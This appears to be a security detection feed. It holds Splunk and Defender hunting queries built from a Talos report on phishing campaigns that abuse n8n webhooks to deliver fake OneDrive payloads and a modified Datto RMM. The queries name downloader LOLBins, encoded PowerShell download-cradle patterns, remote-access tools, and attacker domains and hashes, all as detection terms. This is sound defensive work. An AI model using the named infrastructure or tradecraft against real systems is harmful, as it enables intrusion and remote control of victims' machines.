| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as file_path values(Filesystem.process_name) as process_name from datamodel=Endpoint.Filesystem where Filesystem.action="created" AND match(Filesystem.file_name,"(?i)^(curriculum.?vitae|cv|resume|attached.?resume).{0,40}\.exe$") AND NOT match(Filesystem.file_path,"(?i)^[CD]:\\\\(Windows|Program Files)") AND match(Filesystem.file_path,"(?i)^[E-Z]:\\\\") by Filesystem.dest Filesystem.file_name Filesystem.file_path Filesystem.user | `drop_dm_object_name(Filesystem)` | convert ctime(firstTime) ctime(lastTime)
2026-04-1513 use cases5 techniques7 kill-chain phases detected
Cisco Talos research has uncovered agentic AI workflow automation platform abuse in emails. Recently, we identified an increase in the number of emails that abuse n8n, one of these platforms, from as early as October 2025 through March 2026.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Browser download of fake-OneDrive payload via *.app.n8n.cloud webhook
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · PowerShell encoded / obfuscated command · Article-specific behavioural hunt — The n8n n8mare: How threat actors are misusing AI workflow automation
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Scheduled task created with suspicious image / encoded args · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · File hash IOCs — endpoint file/process match · [LLM] Datto RMM (CagService) install + centrastage.net C2 from MSI/EXE in user-writable path
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("tti.app.n8n.cloud", "centrastage.net", "onedrivedownload.zoholandingpage.com", "majormetalcsorp.com", "pagepoinnc.app.n8n.cloud", "monicasue.app.n8n.cloud")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("tti.app.n8n.cloud", "centrastage.net", "onedrivedownload.zoholandingpage.com", "majormetalcsorp.com", "pagepoinnc.app.n8n.cloud", "monicasue.app.n8n.cloud")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("tti.app.n8n.cloud", "centrastage.net", "onedrivedownload.zoholandingpage.com", "majormetalcsorp.com", "pagepoinnc.app.n8n.cloud", "monicasue.app.n8n.cloud")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("93a09e54e607930dfc068fcbc7ea2c2ea776c504aa20a8ca12100a28cfdcc75a", "7f30259d72eb7432b2454c07be83365ecfa835188185b35b30d11654aadf86a0") or SHA1 in~ ("93a09e54e607930dfc068fcbc7ea2c2ea776c504aa20a8ca12100a28cfdcc75a", "7f30259d72eb7432b2454c07be83365ecfa835188185b35b30d11654aadf86a0") or MD5 in~ ("93a09e54e607930dfc068fcbc7ea2c2ea776c504aa20a8ca12100a28cfdcc75a", "7f30259d72eb7432b2454c07be83365ecfa835188185b35b30d11654aadf86a0")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("93a09e54e607930dfc068fcbc7ea2c2ea776c504aa20a8ca12100a28cfdcc75a", "7f30259d72eb7432b2454c07be83365ecfa835188185b35b30d11654aadf86a0")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("93a09e54e607930dfc068fcbc7ea2c2ea776c504aa20a8ca12100a28cfdcc75a", "7f30259d72eb7432b2454c07be83365ecfa835188185b35b30d11654aadf86a0")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — The n8n n8mare: How threat actors are misusing AI workflow automationExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — The n8n n8mare: How threat actors are misusing AI workflow automation
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("downloadedonedrivedocument.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("downloadedonedrivedocument.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — The n8n n8mare: How threat actors are misusing AI workflow automation ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("downloadedonedrivedocument.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("downloadedonedrivedocument.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Browser download of fake-OneDrive payload via *.app.n8n.cloud webhookDeliveryHigh
Hunts the n8n abuse chain reported by Talos: a user clicks an *.app.n8n.cloud/webhook/<uuid> link in email, the JS-encapsulated CAPTCHA page then fetches a payload named like DownloadedOneDriveDocument.exe or OneDrive_Document_Reader_*_installer.msi from secondary hosts (zoholandingpage.com, majormetalcsorp.com). Designed to catch the specific filenames and webhook subdomain pattern in this campaign rather than n8n traffic generally.
Rationale: Uses the article's exact webhook subdomains, payload file names, secondary download hosts and the two SHA-256 hashes Talos published. Joining a webhook URL hit with a same-host file drop within 15 minutes makes named-file FPs negligible. Cross-checked against The Hacker News and Security Affairs coverage of the same Talos report.
Cross-checked against:
• https://thehackernews.com/2026/04/n8n-webhooks-abused-since-october-2025.html
• https://securityaffairs.com/190887/hacking/ai-platform-n8n-abused-for-stealthy-phishing-and-malware-delivery.html
• https://cyberpress.org/n8n-webhook-malware-campaign/
ATT&CKT1566.002T1204.001T1204.002T1608.001
Data sourcesWebEndpoint.FilesystemEndpoint.Processes
let webhookHits = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("app.n8n.cloud/webhook/", "onedrivedownload.zoholandingpage.com", "majormetalcsorp.com/Openfolder", "pagepoinnc.app.n8n.cloud", "monicasue.app.n8n.cloud")
| project NetTime=Timestamp, DeviceId, DeviceName, RemoteUrl, InitiatingProcessFileName;
let droppedFiles = DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType == "FileCreated"
| where FileName in~ ("DownloadedOneDriveDocument.exe")
or FileName matches regex @"(?i)^OneDrive_Document_Reader_[A-Za-z0-9]+_installer\.msi$"
or SHA256 in ("93a09e54e607930dfc068fcbc7ea2c2ea776c504aa20a8ca12100a28cfdcc75a","7f30259d72eb7432b2454c07be83365ecfa835188185b35b30d11654aadf86a0");
webhookHits
| join kind=inner (droppedFiles) on DeviceId
| where abs(datetime_diff('minute', NetTime, Timestamp)) <= 15
| project Timestamp, DeviceName, RemoteUrl, FileName, FolderPath, SHA256, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.user) as user values(Web.dest) as dest from datamodel=Web where (Web.url="*.app.n8n.cloud/webhook/*" OR Web.url="*onedrivedownload.zoholandingpage.com*" OR Web.url="*majormetalcsorp.com/Openfolder*" OR Web.url="*pagepoinnc.app.n8n.cloud*" OR Web.url="*monicasue.app.n8n.cloud*") by Web.src Web.user Web.http_user_agent | `drop_dm_object_name(Web)` | join type=inner src [| tstats `summariesonly` count values(Filesystem.file_name) as files values(Filesystem.file_path) as paths values(Filesystem.file_hash) as hashes from datamodel=Endpoint.Filesystem where (Filesystem.file_name="DownloadedOneDriveDocument.exe" OR Filesystem.file_name="OneDrive_Document_Reader_*installer.msi" OR Filesystem.file_hash IN ("93a09e54e607930dfc068fcbc7ea2c2ea776c504aa20a8ca12100a28cfdcc75a","7f30259d72eb7432b2454c07be83365ecfa835188185b35b30d11654aadf86a0")) by Filesystem.dest | rename Filesystem.dest as src] | convert ctime(firstTime) ctime(lastTime)
[LLM] Datto RMM (CagService) install + centrastage.net C2 from MSI/EXE in user-writable pathInstallationHigh
Catches the post-exploitation stage of the n8n campaign where DownloadedOneDriveDocument.exe or the Armadillo-packed OneDrive_Document_Reader_*.msi spawns msiexec/PowerShell that installs the modified Datto RMM (CagService) and beacons to *.centrastage.net. Targets unauthorized Datto deployments running from non-standard paths or with the campaign's parent process — not benign Datto installs.
Rationale: Talos names the modified Datto RMM and centrastage.net relay; Fortra's FIRE team independently published the CagService service name and 03cc.centrastage.net C2 subdomain for the same RMM-abuse cluster. Combining the campaign filenames, AppData/Temp install path, and centrastage.net beacon avoids matching legitimate Datto-managed estates.
Cross-checked against:
• https://www.fortra.com/blog/fortra-discovers-datto-living-land-binary
• https://www.channelinsider.com/security/datto-rmm-phishing-attack-fire-research/
• https://blog.talosintelligence.com/the-n8n-n8mare/
ATT&CKT1219T1543.003T1053.005T1059.001
Data sourcesEndpoint.ProcessesEndpoint.ServicesNetwork_Traffic.All_TrafficNetwork_Resolution.DNS
let dattoNet = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl endswith "centrastage.net" or RemoteUrl has "03cc.centrastage.net"
| project NetTime=Timestamp, DeviceId, DeviceName, RemoteUrl;
let suspectInstall = DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName =~ "CagService.exe" or FileName =~ "AEMAgent.exe")
and (FolderPath has_any (@"\AppData\", @"\Temp\", @"\ProgramData\\") or InitiatingProcessFileName in~ ("DownloadedOneDriveDocument.exe","msiexec.exe","powershell.exe"))
or (InitiatingProcessFileName =~ "DownloadedOneDriveDocument.exe")
or (FileName =~ "msiexec.exe" and ProcessCommandLine has_cs "OneDrive_Document_Reader_" and ProcessCommandLine has "_installer.msi");
suspectInstall
| join kind=inner (dattoNet) on DeviceId
| where abs(datetime_diff('hour', NetTime, Timestamp)) <= 24
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, RemoteUrl
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process_name) as parent values(Processes.process_path) as path from datamodel=Endpoint.Processes where (Processes.process_name="CagService.exe" OR Processes.process_name="AEMAgent.exe" OR Processes.parent_process_name="DownloadedOneDriveDocument.exe" OR (Processes.parent_process_name="msiexec.exe" AND Processes.process_name IN ("powershell.exe","cmd.exe")) OR (Processes.process_name="msiexec.exe" AND Processes.process="*OneDrive_Document_Reader_*installer.msi*")) by Processes.dest Processes.user Processes.process_name | `drop_dm_object_name(Processes)` | join type=left dest [| tstats `summariesonly` count values(DNS.query) as dns_query from datamodel=Network_Resolution where DNS.query="*centrastage.net" by DNS.src | rename DNS.src as dest] | where isnotnull(dns_query) OR like(path,"%\\Users\\%\\AppData\\%") OR like(path,"%\\Temp\\%") OR like(path,"%\\ProgramData\\%") | convert ctime(firstTime) ctime(lastTime)
Hunts the fingerprinting variant from the Talos report: spam emails embed an <img> tag whose src is an *.app.n8n.cloud/webhook/<uuid> URL with email-address tracking parameters, hidden via display:none or opacity:0. Used to enumerate live mailboxes and seed follow-on phishing — silent today, but the same recipients tend to receive the malware variant next.
Rationale: Talos shows the exact pattern: invisible <img src=*.app.n8n.cloud/webhook/...> with the recipient's address as a query parameter. The regex anchors on the n8n.cloud webhook UUID structure and EmailUrlInfo lets us pivot from one observed pixel host to every recipient who received it — useful pre-incident triage and corroborated by the Hacker News and Cloud Security Alliance write-ups of the same campaign.
Cross-checked against:
• https://thehackernews.com/2026/04/n8n-webhooks-abused-since-october-2025.html
• https://labs.cloudsecurityalliance.org/research/csa-research-note-n8n-ai-workflow-phishing-20260416-csa-styl/
ATT&CKT1598.003T1592.002T1583.006
Data sourcesEmail.All_EmailWeb
let n8nUrls = EmailUrlInfo
| where Timestamp > ago(30d)
| where Url matches regex @"(?i)https?://[a-z0-9-]+\.app\.n8n\.cloud/webhook/[a-f0-9-]{8,}"
| project NetworkMessageId, Url, UrlDomain, Timestamp;
EmailEvents
| where Timestamp > ago(30d)
| where EmailDirection == "Inbound"
| join kind=inner n8nUrls on NetworkMessageId
| extend webhookHost = tostring(parse_url(Url).Host)
| summarize Recipients=dcount(RecipientEmailAddress), Senders=make_set(SenderFromAddress, 50), Subjects=make_set(Subject, 20), Urls=make_set(Url, 20), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by webhookHost
| where Recipients >= 1
| order by LastSeen desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Email.src_user) as sender values(All_Email.subject) as subject values(All_Email.url) as urls from datamodel=Email where All_Email.url="*.app.n8n.cloud/webhook/*" by All_Email.recipient All_Email.message_id | `drop_dm_object_name(All_Email)` | rex field=urls "(?<webhook_host>[A-Za-z0-9-]+\.app\.n8n\.cloud)" | stats dvalues(webhook_host) as webhook_hosts dc(recipient) as recipient_count values(sender) as senders values(subject) as subjects min(firstTime) as firstTime max(lastTime) as lastTime by webhook_host | where recipient_count >= 2 | convert ctime(firstTime) ctime(lastTime)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Article-specific behavioural hunt — Microsoft Patch Tuesday for April 2026 - Snort Rule and Prominent Vulnerabilitie
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-23666", "CVE-2026-32157", "CVE-2026-32190", "CVE-2026-33114", "CVE-2026-33115", "CVE-2026-33824", "CVE-2026-33826", "CVE-2026-33827", "CVE-2026-32201", "CVE-2026-0390", "CVE-2026-26151", "CVE-2026-26169", "CVE-2026-26173", "CVE-2026-26177", "CVE-2026-26182", "CVE-2026-27906", "CVE-2026-27908", "CVE-2026-27909", "CVE-2026-27913", "CVE-2026-27914", "CVE-2026-27921", "CVE-2026-27922", "CVE-2026-32070", "CVE-2026-32075", "CVE-2026-32093", "CVE-2026-32152", "CVE-2026-32154", "CVE-2026-32155", "CVE-2026-32162", "CVE-2026-32202", "CVE-2026-32225", "CVE-2026-33825")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Article-specific behavioural hunt — Microsoft Patch Tuesday for April 2026 - Snort Rule and Prominent VulnerabilitieExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Microsoft Patch Tuesday for April 2026 - Snort Rule and Prominent Vulnerabilitie
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("tdx.sys", "fdwsd.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("tdx.sys", "fdwsd.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Microsoft Patch Tuesday for April 2026 - Snort Rule and Prominent Vulnerabilitie ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("tdx.sys","fdwsd.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("tdx.sys","fdwsd.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
2026-04-144 use cases1 technique3 kill-chain phases detected
Microsoft Office Excel contains a remote code execution vulnerability that could allow an attacker to take complete control of an affected system if a user opens a specially crafted Excel file that includes a malformed object. Vendor: Microsoft, Product: Office. Federal patch due: 2026-04-28.
CVEsCVE-2009-0238
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
